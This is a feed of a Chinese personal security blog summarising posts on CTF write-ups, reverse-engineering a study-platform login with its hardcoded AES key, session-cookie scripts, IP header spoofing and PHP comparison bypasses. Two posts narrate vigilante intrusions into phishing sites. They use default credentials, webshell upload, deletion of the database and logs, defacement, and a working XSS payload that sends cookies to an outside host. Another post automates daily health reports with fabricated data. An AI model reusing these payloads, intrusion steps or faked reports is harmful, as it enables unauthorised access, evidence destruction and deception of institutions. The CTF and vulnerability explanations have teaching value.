龙辉's Blog - Tinker-站长
type: channel
link: https://blog.eirds.cn/author/1/
description: Tinker-站长
items: 对学某通的登录逆向分析
items: 蓝桥杯省赛Web题解及知识点复习
items: CTFSHOW-菜狗杯(部分WP)
items: 贵州师范大学抢课脚本-正方教务系统V8.0.0
items: 记录一次入侵某钓鱼盗号网站的过程
items: 弱类型与强类型语言“=”号的不同以及引发的安全问题
items: php获取客户端ip以及ip伪造
items: XSS经典漏洞复现-手撕某非法获取个人信息网站
items: 简单实现每日健康自动打卡
items: 天方云签程序开源

对学某通的登录逆向分析
type: item
date: 2025-11-16T19:40:00+08:00
description: 目录##1. 账号密码登录 ##2. 二维码登录因为要登录学某通查看一些东西，看着登录界面心血来潮，于是乎简单做一下逆向分析。此教程仅为学习记录。1. 账号密码登录先随便输入一下账号密码，调用了这个接口可以看到账号密码都进行了base64编码，看一下函数调用栈。可以看到在发送XHR请求前调用了两个方法 loginByPhoneAndPwd loginByPhoneAndPwdSubmit 跟进loginByPhoneAndPwdSubmit方法，打个断点。很不巧的就看到了输入的明文以及调用的加密函数，跳入加密函数中可以看到使用的是一个AES-CBC加密，并且iv向量与key相等都为u2oh6Vu^HWe4_AES function encryptByAES(message, key) { let CBCOptions = { iv: CryptoJS.enc.Utf8.parse(key), mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }; let aeskey = CryptoJS.enc.Utf8.parse(key); let secretData = CryptoJS.enc.Utf8.parse(message); let encrypted = CryptoJS.AES.encrypt( secretData, aeskey, CBCOptions ); return CryptoJS.enc.Base64.stringify(encrypted.ciphertext); } 加密之后再对密文进行base64，由于账号密码都是同种加密方式，因此在了解加密方式和密钥之后，就可以自己封装实现了。2. 二维码登录没有看到请求返回二维码的XHR,所以登录二维码是在生成html的时候直接嵌入的。并且二维码是由uuid来进行获取。扫描一下二维码看看提交的参数这里用到的uuid和enc参数，这里我们不需要单独去分析uuid和enc是怎么生成的，因为这个是返回html的时候就写在里面的，所以只需要爬取页面，获得这两个参数就行了。一直看到浏览器不断的在请求https://passport2.chaoxing.com/getauthstatus/v2来获取登录结果同时也是根据uuid和enc来进行判断被扫描之后判断用户是否确认登录再进行跳转。分别使用php、python、node.js对上面的流程进行代码封装之后的运行结果。下面直接贴出代码php<?php mb_internal_encoding('UTF-8'); mb_http_output('UTF-8'); mb_regex_encoding('UTF-8'); date_default_timezone_set('Asia/Shanghai'); if (php_sapi_name() === 'cli') { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { @exec('chcp 65001 >nul 2>&1'); } } function encryptByAES($message, $key) { $key = mb_substr($key, 0, 16, 'UTF-8'); $iv = $key; $encrypted = openssl_encrypt( $message, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv ); return base64_encode($encrypted); } function loginWithPassword($username, $password) { $url = 'https://passport2.chaoxing.com/fanyalogin'; $encryptKey = "u2oh6Vu^HWe4_AES"; $encryptedUsername = encryptByAES($username, $encryptKey); $encryptedPassword = encryptByAES($password, $encryptKey); $postData = http_build_query([ 'fid' => '-1', 'uname' => $encryptedUsername, 'password' => $encryptedPassword, 'refer' => 'http%3A%2F%2Fi.mooc.chaoxing.com%2Fspace%2Findex%3Fnull', 't' => 'true', 'forbidotherlog…

蓝桥杯省赛Web题解及知识点复习
type: item
date: 2024-05-28T22:32:00+08:00
description: 本次蓝桥杯省赛在4月13号结束，并在省赛中取得了一等奖的成绩，题目放在文末。本次记录主要是复盘一下知识点，引用官方题解，如果大佬们有更好的方法，欢迎交流学习~我之前留意到一位UP主推荐的这本书，觉得挺吸引人的，于是入手了一本。该书出自外国作者之手并已被译成中文。阅读之后，我发现它的确颇有价值，特别是它为我提供了全新的视角去理解这门语言，尤其是在函数式编程和异步编程领域，让我收获了不一样的见解和领悟。1、智能停车系统第一题是“签到题”，也就是证明你来参加过比赛的，考察的是css中的[scode type="green"]flex布局和grid布局[/scode]它们是css3新增的响应式布局，比较常用。另外还有浮动、定位、边距等实现布局的方式，在flex布局中，主要分为主轴，和侧轴，默认为主轴方向排列(flex-firection:row)，而以下代码分别作用于父元素与子元素作用于父元素：display:flex； justify-content:center; /*沿着轴的方向布局方式(居中)*/ flex-direction：column; /*改变轴的方向为垂直方向：*/ align-item:center; /*交叉轴的排列方式(居中)*/ flex-warp:warp； /*换行*/ 子元素flex-shrink:0； /*不允许被挤压*/ flex:flex-grow flex-shrink flex-basis； /*缩写形式*/ order:1； /*改变顺序*/ 因此本题的答案只需要在最后三行添加代码即可.cars { position: absolute; z-index: 2; display: flex; width: 600px; height: 600px; flex-direction: column; /* TODO: 请在下方编写题目代码，不要更改其他选择器里的代码 */ flex-wrap: wrap; align-content:space-between; justify-content:space-between; } ，并且文档中的提示均已给出，直接使用space-around即可实现2、布局切换js中较为经典的题目了，同样也是签到题。“干掉他人，留下自己”是这道题的精髓，也就是当按钮被点击的时候，就取消所有样式，再给自己添加上这个样式 option.addEventListener('click', function () { for (const otherOption of layoutOptions) { // 移除其他选项的 active 类 otherOption.classList.remove('active'); } // TODO：待补充代码 this.classList.add('active'); // 为当前选项添加active类 } 3、产品 360 度展示开始上点难度了，考察的是Promise以及async，awaitPromise的出现是解决回调地狱的问题，而async则是Promise和generator结合的语法糖，使得异步编程同步化 ，在执行同步操作的时候也不会造成阻塞。const pipeline = async (initialValue, sequence) => { let res = initialValue; for (const fn of sequence) { res = await fn(res); } return res; }; 4、多表单验证考察的是Elementplus的表单验证 ，对于我来说，最难受的就是做布局的题目了。这个题我当时想着后面做，结果发现没时间了。const validateName = (rule, value, callback) => { if (value === "") { callback(new Error("请输入姓名")); } else { const reg = /[^\u4e00-\u9fa5]/g; if (reg.test(value)) { callback(new Error("只能输入汉字")); } callback(); } }; // TODO-3：书写表单校验规则，并绑定到对应表单上 const rules = reactive({ name: [ { required: true, message: "请输入姓名", trigger: "blur" }, { validator: validateName, trigger: "blur" }, ], sex: [{ required: true, message: "请选择性别", trigger: "chan…

CTFSHOW-菜狗杯(部分WP)
type: item
date: 2023-05-22T13:45:00+08:00
description: 目录##1. 签到题 ##2. web2 c0me_t0_s1gn ##3. 我的眼里只有$ ##4. 一言既出 ##5. 驷马难追 ##6. 化零为整 ##7. 无一幸免 ##8. 传说之下（雾）这是做的部分ctf题题解，仅为方便自己学习记录，欢迎大家交流补充~0x01 签到题打开题目，给我们的是源代码，通过阅读代码，这就是一个通过外部构造系统命令执行的一个漏洞，通过这几个函数套娃，最终用eval函数把字符串当作php代码执行。我们根据代码写payload，(注意，中文请先进行url编码) ?b=c&c[6][0][7][3][8][0][9][4][4]=system("ls%20/"); post:a=b cookie:CTFshow-QQç¾¤:=a /* 解释一下，源代码为$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]]， 通过构造之后变成$_REQUEST[[$_GET[$_POST['a']]]->$_REQUEST[[$_GET['b']]->$_REQUEST['c']->system("ls%20/"); php中$_REQUEST函数支持get和post方法，所以两种都可以 通过调用linux命令ls /，获取根目录下有哪些文件，发现 f1agaaa，读取这个文件，获得flag 最终payload： ?b=c&c[6][0][7][5][8][0][9][6][4]=system("cat /f1agaaa"); post:a=b cookie:CTFshow-QQç¾¤:=a */ 0x02 web2 c0me_t0_s1gn打开题目，就让我们找找看能不能发现什么，先是右键打开网页源代码后发现部分flag和提示，打开控制台，控制台提示执行这个函数就能获得flag，执行之后成功获得后半部分flag，拼接之后就是完整的flag，又是一道签到题。0x03 我的眼里只有$这道题和第一道题有点像，又是一个套娃题。不过这里用了一个extract($_POST)，这个函数的作用就是将数组中的索引和值用变量来表示，例如extract(['a'=>1]) 等价于 $a=1 35个$符，a-z都不够用啊，构造这个花了我挺长时间。构造完了才想起来写一个循环完事的事情...最终的payload:_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=ab&ab=cd&cd=ef&ef=fg&fg=hi&hi=jk&jk=lm&lm=no&no=pq&pq=system("cat /f1agaaa"); 0x04 一言既出通过代码审计，这道题考的就是弱类型语言数值的比较这里复习一下知识点<?phpecho '1'==1;//true (在两个等号条件下，字符串1和数字1相等,比较方式是将字符串换成整型后比较)echo '1abcd'==1;//true （是不是很神奇，在进行字符串隐式转换为整型时遇到非数字{小数点除外}就终止）经过测试，在最新版本的php8返回falseecho '11+1'==11; //true//intval()函数把数字字符串转成整型数字intval('678abc")//678intval('6+7');//13所以可以通过构造payload:/?num=114514%2B1919810-114514注意:只要是特殊字符在url传参都需要通过url编码另一种思路:就是加注释把后面的代码注释掉，前面部分代码形成闭合，就执行不了die()函数了。payload:/?num=11451");//0x05 驷马难追和上一题差不多，但是多了一个正则验证，但是加号和减号并没有在规则里面。所以构造payload:/?num=114514%2B1919810-114514 即可获得flag0x06 化零为整题目分析:如果输入的是"大牛"就可以输出答案，很明显，要绕过上面的if语句.在utf-8编码中，一个中文为三个字节，而判断的if语句超过两个字节就不可以，所以把一个中文拆成三个单独的字节就行了然后使用的是从1开始的for循环进行拼接，因此对中文进行url编码之后使用数字为变量就行最终构造的payload如下 /?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B http://ca01914c-5bf6-49d7-a4bc-45fc0a0c702b.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B 0x07 无一幸免这道题比前面的…

贵州师范大学抢课脚本-正方教务系统V8.0.0
type: item
date: 2022-12-14T09:51:00+08:00
description: 起晚了又或者说是系统进不去，那就只能去吃残羹冷炙了...此脚本主要是针对别人帮忙选课，然后准备退课给别人的时候，从别人手上抢过来.仅供交流学习，请勿用于非法用途，不保证抢课成功，具体情以实际为主直接贴代码<?php //authorqq 1790716272 ignore_user_abort(true);//防止超时 set_time_limit(0); if(!file_exists('./info.bat')){ //从黑框框控制台输入 if(php_sapi_name() === 'cli'){ echo '请输入ck:'; fscanf(STDIN,"%s",$ck); echo '请输入课程信息:'; fscanf(STDIN,"%s",$course); }else{ //浏览器get方式输入 $course = trim($_GET['course']); $ck = trim($_GET['ck']); } file_put_contents('./info.bat',$ck."\n".$course); }else{ $info = file_get_contents('./info.bat'); list($ck,$course) = explode("\n",$info); } $header[] = 'accept: application/json, text/javascript, */*; q=0.01'; $header[] = 'accept-encoding: gzip, deflate, br'; $header[] = $ck; $header[] = 'content-type: application/x-www-form-urlencoded;charset=UTF-8'; $header[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'; $result = xCurl('https://jwgl.gznu.edu.cn/jwglxt/xsxk/zzxkyzbjk_xkBcZyZzxkYzb.html',null,$course,$header); if(!$result) exit("登录失败或对方服务器超时\n可以把超时时间设置久一点\n"); if(json_decode($result)->flag==-1) echo '抢课失败'; else echo '抢课成功'; echo "\n"; function xCurl($url,$cookie=null,$postdata=null,$header=array()){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); if (!is_null($postdata)) curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata); if (!is_null($cookie)) curl_setopt($ch, CURLOPT_COOKIE,$cookie); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_ENCODING, "gzip"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//绕过证书 curl_setopt($ch, CURLOPT_TIMEOUT, 10);//超时设置 $re = curl_exec($ch); curl_close($ch); return $re; } 效果图:使用方法就不再赘述.获取课程和ck方法:在点击抢课按钮之前按F12打开控制台，点击抢课按钮之后，再点击network，headers查看，往下翻再点击payload，view sourse ，下面那串就是课程信息我自己是一分钟扫描一次

记录一次入侵某钓鱼盗号网站的过程
type: item
date: 2022-10-15T20:36:00+08:00
description: 一次入侵某盗号网站的记录就算是经常混迹互联网的我,也会被骗，技术再厉害也难防人心。今天有朋友给我发了一个盗号网站，说他朋友被盗号了，给了他发了一个链接，于是便有了这篇文章。0X01故事的开局点击链接进去很明显这就是一个收集QQ账号密码的，当然了这只是对我来说... 很多不是相关专业的朋友打开这样的链接也看不出和官方的区别。这里给大家分享一下如何辨别类似的假冒网站吧。1、 按理说要在中国大陆内搭建网站都是需要备案的，如果面向国内业务的网站没有备案，那百分之90都不是正规。点我查询网站备案信息2、看域名后缀，如果类似这种cfd、xyz、top之类的 没几个大公司用这种域名，因为便宜，骗子们用完就丢了。大部分都是com、cn、net、org等0X02我拿到这个链接的思路，很多骗子们都是不会写代码的，这种盗号程序大部分都是从网上找来的，而且写的很垃圾...很多都没有对用户输入的数据进行过滤，就算是过滤，也是简简单单的通过前端写几个正则表达式匹配一下，我们可以直接把验证部分给删了，或者是直接向服务器发送数据。最开始想的是直接把密码写成一段js，实现xss注入，拿到路径和进入后台，再找到上传点，传入php大马，实现控制服务器，再通过大马传一个数据库管理系统，进入数据库，将数据库进行删除。具体插入的方法请参考[post cid="377" /]等了一段时间还没有获取到对应信息，我想应该是代码被过滤了，或者是被拦截了，那就主动出击吧。这里我先用御剑扫描网站目录，看看能不能扫描出有用的信息。果然扫出了挺多文件的，而且还发现一个bak后缀的，我想到了备份漏洞，就是将开发者在数据库对某些源代码进行备份打包，没有删除，导致泄露相关配置信息。 可以从上面看到这就是一个dedecms,而且版本还非常的低，大概是十一年前的东西，这种比较大型的cms使用的人还是挺多的，所以漏洞也多，因为有更多人的会去审计他的代码，要是一个垃圾程序，没谁会去审计代码，因为就算审计出漏洞了，也没多大的危害。 这是御剑扫到的其中一个后台目录原本想的是利用该程序公开的漏洞实现getshell，但我想了想会不会连后台的账号密码都是默认的，通过搜索引擎的检索，可知dedecms的后台账号密码默认都是admin，输入之后成功进入找到某个地方的文件上传点，上传了我改良过的php木马(可实现在各种php版本运行)，成功getshell可看到网站的目录和同服务器下的其他站点，都是钓鱼网站。由于该站使用的php版本较低，我又通过大马上传了较低版本的phpmyadmin,实现对数据库的操作，成功进入数据库里面的账号密码还是挺多的，挺多人被骗的。我把数据库所有的东西和程序都删了，让更少的人被骗吧。又通过木马，把服务器的日志给删了，达不留痕迹，到全身而退最后挂了一个黑页总结一下常见的web漏洞xss漏洞csrf漏洞sql漏洞模板漏洞备份漏洞默认账号密码漏洞文件上传漏洞越权漏洞0X03最后，希望大家在平时看到不明链接和不明二维码不要随便点击，不要看到个输入框就着急的输入自己的个人信息。要是让我写这种网站，我可以做的更加逼真，在同学朋友需要获取你的信息时或者涉及钱财时，请先通过电话、视频等方式确认对方身份的真实性。有时候真正的黑客往往采用的是最低端的方法。现在数据泄露严重，基本上也都是在互联网裸奔，所以大家在互联网也要注意自己的言行。

弱类型与强类型语言“=”号的不同以及引发的安全问题
type: item
date: 2022-09-04T09:41:00+08:00
description: 弱类型与强类型语言中“=”号的不同[scode type="red"]声明:以下文字仅为个人观点，如有不正确的地方欢迎指正[/scode]0x01在编程语言中的 “=“ 号不同于在数学上的 ”=“号，在数学中,x=5 与 5=x 是一个意思，可以等量替换，但在编程语言中，x=5与5=x 就不同了，后者会报错 因为这里的等号是赋值，且变量名不能为数字开头，我认为”=“号是一个人类伟大的发明.0x02 强类型语言我们(我)知道c语言是一门强类型语言，而诸如python,php等则是弱类型语言。何为强类型？就是在变量声明的时候就预先将其规定类型，如 int a=1；我们可以很清楚的知道a变量是一个数字整型，数值为1，在大部分编译器中占4个字节， char b='1'；这时b变量则是字符型，占一个字节，为字符 ‘1’，对应的十进制ascll码为49，若 a==b 则返回 false ，在比较a和b时，比较的是ascll码值 数值1 与 字符1显然不相等0x03 弱类型语言在弱类型语言中，大部分时候我们都不太需要提前定义声明变量和类型 如在php中$x = 5;$y = '5' ; 在弱类型语言中 "==”与C语言有所不同的是他比较的不是ascll码，而是数值 如 x==y 与 $x==$y 返回的均是true.上面的 "==" 更侧重相等，例如两条狗长的一模一样，而且还一样可爱，那么我们就认为它们相等，但是外表上一样，性格，习惯等又不相同，这里则使用“===”三个等号做判断，意思是全等，完全一个模样刻出来的。引用上面的x和y变量 这时 $x===$y 则返回的是 fasle ,优先比较两者的类型0x04 引发的安全问题在编程语言中科学计数法的表示为 数值e整数，如 5e5 = 5*10^5，若e的前面为0，则后面不论是什么则为0，而null==0 返回true。这是一个很神奇的地方， 1234=='1234abc' //返回true 比较数字 若数字相等则abc被忽略例如 :<?php md5('QNKCDZO')==md5('240610708'); //返回true 0==md5('QNKCDZO') ; //返回true 0==null; //返回true md5(array()) //返回null 某些版本会报错 假如以下是某个程序的登录判断<?php $user = trim($_GET['user']); $pwd = trim($_GET['pwd']); $pwds = $db->query("select pwd from user where user = $user");//密码为 s214587387a if(md5($pwd)==md5($pwds)){ echo '登录成功'; }else{ echo '登录失败'; } 所以绕过登录就很简单，通过构造参数以及数组则可绕过验证。localhost/?user=admin&pwd[]=666 把两个等号换成三个等号就可以这是一道ctf的简单题...0x05 优势与劣势毫无疑问，在弱类型语言下三个等号的判断条件更为严格，目前版本的更新也越来越重视强制类。两个等号提供给了程序员更灵活的处理方法，相对应的也会带来安全隐患

php获取客户端ip以及ip伪造
type: item
date: 2022-06-01T23:19:00+08:00
description: php获取客户端ip以及伪造ip伪造获取ip使用场景比较多,如投票、获取发言者的发言所在省份、对用户ip做登记等.本文主要介绍三个php超全局变量获取客户端ip的方法以及存在的问题.[scode type="red"]声明:因为使用了cdn之后无法正常的获取客户端ip，则做此次记录,仅供学习交流,请不要用于非法用途,由此教程产生的法律问题均与本人无关！[/scode]0x01直接上代码<?php //获取客户端ip,但是如果使用了代理,则获取到的是代理之后的ip echo '1-'.getenv("REMOTE_ADDR").' '; //获取的是客户端访问时header头部带的ip,可任意伪造 echo '2-'.getenv("HTTP_CLIENT_IP").' '; //客户端真实 IP ,但是如果没有使用代理就不返回真实ip echo '3-'.getenv("HTTP_X_FORWARDED_FOR").' '; 0x021、如果客户端使用了透明代理，则getenv("REMOTE_ADDR")返回的是最后一个代理服务器 IP.getenv("HTTP_X_FORWARDED_FOR")返回的是客户端代理之前的ip地址，即客户端真实ip，又浏览器head头部发送.2、若用户使用普通匿名代理服务器则getenv("REMOTE_ADDR") = 最后一个代理服务器 IPgetenv("HTTP_X_FORWARDED_FOR")= 代理服务器 IP 3、用户使用欺骗性代理服务器，getenv("REMOTE_ADDR") = 代理服务器 IPgetenv("HTTP_X_FORWARDED_FOR") = 随机IP4、用户使用高匿名代理getenv("REMOTE_ADDR") = 代理服务器 IPgetenv("HTTP_X_FORWARDED_FOR") 返回空或unkown由于getenv("HTTP_X_FORWARDED_FOR")和getenv("HTTP_CLIENT_IP")获取的IP是由浏览器传过来的,所以可以不使用代理直接进行伪造.代码如下<?php //使用curl伪造head信息发送欺骗服务器。随机生成 $ip = mt_rand(1,254).mt_rand(0,254).mt_rand(0,254).mt_rand(0,254); $header = array( 'CLIENT-IP:'.$ip, 'X-FORWARDED-FOR:'.$ip, ); //伪造浏览器信息 $info =array('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; AskTbPTV/5.17.0.25589; Alexa Toolbar)','Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; Alexa Toolbar)','Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1)'); $ch = curl_init();//创建一个curl句柄 curl_setopt ($ch, CURLOPT_URL, 'http://www.baidu.com/');//列如欺骗百度 curl_setopt ($ch, CURLOPT_HTTPHEADER, $header);//发送header信息 curl_setopt ($ch, CURLOPT_REFERER, "http://www.baidu.com/");//可任意伪造来源 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_USERAGENT, "$info");//伪造浏览器信息 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 3); $contents = curl_exec($ch); //执行句柄 curl_close($ch);//结束 var_dump($contents);//打印变量结构只针对getenv("HTTP_X_FORWARDED_FOR")和getenv("HTTP_CLIENT_IP")函数有效.getenv("REMOTE_ADDR")获取的是客户端ip,若使用代理则为…

XSS经典漏洞复现-手撕某非法获取个人信息网站
type: item
date: 2022-05-12T18:39:00+08:00
description: 记一次手动入侵某个非法获取个人信息网站想到诈骗分子现在还是这么猖狂,居然把非法获取个人信息的二维码发到我的眼前,这我又怎么能忍~这不得想办法打掉他.随便做一下网络安全科普,当然了,自己也还是在学习的小白.[scode type="red"]声明:以下仅为一次简单的记录,提供思路及过程,仅供学习交流,请不要用于非法用途,由此教程产生的法律问题均与本人无关！[/scode]0x01和往常一样正常打开QQ，无意间看到群消息有这么一个文档.，出于本能,这肯定是个钓鱼网站...那就扫进去看看究竟有什么猫腻.，可以看到，扫进去之后是这么一个页面。吐槽一下这网站做得一眼假好吧。。但是上当受骗的人还是很多。0x02为了先了解一下网站结构，先随便输入信息提交吧。，随便输入账号密码,进入到，一样随便输入一些符合规则的文字进去。成功提交.网站返回。基本就是这么一个流程0x03漏洞复现只要用户能输入的地方大部分都存在xss漏洞,其中储存型漏洞伤害较大。在输入框这里输入js代码,可用src引入引入自己的代码，![X3OEB9NMB1(13YBW4[8NS]T.png][5] 其中引入的具体代码如下﻿﻿﻿﻿(function(){(new Image()).src='http://xsscom.com/index.php?do=api&id=Wn7zcb&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); if(''==1){keep=new Image();keep.src='http://xsscom.com/index.php?do=keepsession&id=Wn7zcb&url='+escape(document.location)+'&cookie='+escape(document.cookie)};利用的是后台直接输出用户输出的内容，浏览器直接执行用户输入的恶意木马，能够document.cookie,当后台执行我插入的木马之后,就会发送后台地址以及token到我这里。没一会儿就中招了。![`E8T]0$E(BHM2(APAOXI7Q.png可以看到后台地址,对方的ip以及ua信息，cookie。成功进入后台，可以看到很多大学生的信息...而且很多条，并且它有很多个网站，所以收集了大量信息，并且又利用被获取的继续发送，广泛传播。原本想在这个上传点传入大马getshell的，但是一直没能成功，图片马也不能解析。因此没有获取到服务器。只能挂个黑页了[scode type="green"]所有呢在最后我希望你们不要看到获取信息的输入框就输入自己的个人信息，也不要随便扫二维码。在打开未知的网站前可以去去工信部查询对方网站是否为备案以及有相应的运行资质。政府网站后缀统一为gov.cn,学校网站后缀统一为edu.cn后缀等[/scode]我的博客即将同步至腾讯云+社区，邀请大家一同入驻：https://cloud.tencent.com/developer/support-plan?invite_code=qpwmu9jb7yaa

简单实现每日健康自动打卡
type: item
date: 2022-03-04T17:07:00+08:00
description: 前言:当代大学生每天必须做的一件事我想会有健康打卡吧，有时候忘记打卡还会被@来@去，于我而言，每天都是在学校，位置并没有变，自动打卡可以完全交给程序去完成啦~以下程序是在贵州师范大学实现，如果是其他学校，方法也差不多噢，接定制~[scode type="red"]注意:本脚本仅供学习交流,请勿用于非法操作,建议在下载24小时后删除，由此脚本发生的问题均与本站无关。[/scode]本站提供实现原理步骤以及配合腾讯云云函数实现自动签到.抓包打卡无非就是向服务器提交某些信息和数据，只要捕获到所需的参数，使用编程模拟向服务器发送数据就可以实现成功打卡。所以第一步就是抓包。因为打卡是在微信里面打，为了方便，我这里使用的是手机抓包工具 点我下载抓包精灵，按照教程配置好后点击开始，右上角选择抓取微信的，接着打开微信到打卡界面如下点击打卡后回到抓包软件。搜索daka，找到这一条可以看到是向http://daka.wecampus.gznu.edu.cn:80/server/api/baseRecord/add?jwtToken=这里是你的token 提交的post JSON数据，接下来只需要自己用编程语言提交以下数据就可以了。这里我使用比较擅长的PHP.代码实现 <?php //author 龙辉 // qq:1790716272 header("Content-type: text/html; charset=utf-8"); date_default_timezone_set("PRC"); $token = '这里替换你的token';//这里填写token=后面的值 $postdata='{ "healthStatus":"健康", "suspectedDate":null, "patientDate":null, "isHot":false, "temperature":37, "isInHospital":"否", "hospital":null, "isolated":false, "isolatedMode":null, "isolatedAddress":null, "isolatedReason":null, "isolatedStartDate":null, "isolatedEndDate":null, "locationLatitude":"26.38743", "locationLongitude":"106.63461", "isOut":false, "locationCountry":"国内", "locationProvince":"贵州省", "locationCity":"贵阳市", "locationArea":"花溪区", "locationDetail":"二号路", "hasTravel":false, "travelReason":null, "travelFromDate":null, "travelFromPlace":null, "travelArrivalDate":null, "travelArrivalPlace":null, "travelMode":null, "travelComment":null, "hasTouchPatient":false, "hasOutHistory":false, "hasChumHot":false, "hasGoHighRiskArea":false, "hasTouchPersonFromHighRiskArea":false, "notes":"", "locationDescription":"贵州省贵阳市花溪区二号路" }'; $result = xCurl('http://daka.wecampus.gznu.edu.cn:80/server/api/baseRecord/add?jwtToken='.$token,'',$postdata); if(json_decode($result,true)['success']==true) { echo '今日健康打卡成功'."\n".'当前时间:'.date('Y-m-d H:i:s', time()); } else { echo '今日打卡失败,请检查'; } function xCurl($url,$cookie=null,$postdata=null,$header=array()){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); if (!is_null($postdata)) curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata); if (!is_null($cook…

天方云签程序开源
type: item
date: 2022-01-03T22:18:00+08:00
description: 天方云签介绍[scode type="green"]使用php+mysql实现的云签系统,因为我太懒,目前主要签到贴吧和网易云音乐。你的点赞是我更新的动力。下个版本将会支持对接QQ群机器人，支付系统，其他更多签到.[/scode]软件架构软件架构说明使用滑块验证，QQ快捷登录等..安装教程上传文件到服务器或者虚拟空间，访问首页即安装指引然后请阅读readme使用说明本程序仅供学习交流,请你在下载24小时后删除本文件参与贡献作者 龙辉 QQ1790716272 前端页面部分由GG QQ9075512完成.感谢下个版本下个版本将会支持更多的签到,将会采用插件化点我进入云签官网点我进入项目地址